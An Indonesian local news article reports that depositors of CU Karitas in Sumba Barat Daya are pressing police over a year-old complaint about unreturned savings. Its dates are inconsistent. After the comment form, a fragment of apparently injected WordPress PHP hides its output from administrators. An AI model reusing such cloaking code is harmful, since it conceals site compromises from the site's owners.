Hukum

Setahun Pengaduan Tak Digubris, Nasabah CU Karitas Kembali Datangi Mapolres Sumba Barat Daya

×

Setahun Pengaduan Tak Digubris, Nasabah CU Karitas Kembali Datangi Mapolres Sumba Barat Daya

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Sejumlah nasabah Credit Union (CU) Karitas kembali mendatangi Mapolres Sumba Barat Daya.

Kedatangan 32 nasabah CU Karitas pada Selasa (02/08/2025) ini untuk menanyakan perkembangan pengaduan yang sudah dilayangkan setahun lalu.

“Kami datang mewakili ratusan nasabah lain yang telah dirugikan oleh CU Karitas untuk menanyakan perihal laporan polisi yang sudah masuk sejak 17 September 2025 lalu,” jelas Mariana Peda Daindo, salah seorang nasabah.

Menurutnya, ketika itu telah dibuat kesepakatan bersama dalam bentuk pernyataan bahwa pengurus CU Karitas siap mengembalikan uang para nasabah.

Namun hingga kini tidak pernah ada perkembangan apa pun terkait persoalan itu dan terkesan didiamkan begitu saja.

“Makanya hari ini kami datang mencari tahu perkembangan pengaduan setahun lalu sudah seperti apa prosesnya di kepolisian,” katanya lebih lanjut.

Dari pertemuan di Mapolres hari itu, sebut dia, para nasabah diminta untuk membuat pernyataan dan kesepakatan bersama bahwa proses akan dilanjutkan.

Polisi beralasan tidak bisa dibuat laporan baru karena persoalannya sudah diadukan tahun lalu.

Ia berharap masalah tersebut segera ditindaklanjuti sehingga ada titik terang atas simpanan nasabah yang jumlahnya mencapai hampir 500 juta.

“Ada 200 lebih anggota dengan jumlah dana yang belum dibayarkan sekitar 488 juta,” terangnya.

Hal yang sama disampaikan nasabah lain Margareta Milla Ate, yang mengaku memiliki total simpanan sebanyak 31 juta.

“Tadi kami sudah buat surat pernyataan untuk lanjutkan kasus ini ke ranah pidana, dan sudah kumpulkan berkas-berkas bukti tinggal diserahkan ke Unit Tipidter Polres SBD,” tuturnya.

Ia menjelaskan, CU Karitas yang diketuai Petrus de Rosari dan bendahara Maria Yosefina Bali serta sejumlah pengurus lain ini mangkir atas tanggung jawab pengembalian simpanan anggota.

Margaretha Milla Ate memiliki modal cukup banyak karena digabungkan dengan saham tiga orang anaknya yang juga menjadi anggota CU Karitas.

“Ada juga simpanan teman saya Carolina Tanggu Dendo yang tinggal di Kupang dan setorannya saya urus,” imbuh Margareta.

Karena itu dirinya meminta agar penanganan kasus ini tidak lagi lagi berlarut-larut dan makan waktu.

Para nasabah, ujar dia, sudah sangat bersabar menanti penyelesaian persoalan itu selama setahun.

Polisi diharapkan bisa menyelesaikan masalah ini agar para nasabah segera memperoleh kembali uang simpanannya dan tidak raib begitu saja.

“Karena itu kami datang di tempat yang aman, kepada orang yang punya kuasa dan berharap polisi bisa ambil tindakan,” pungkasnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>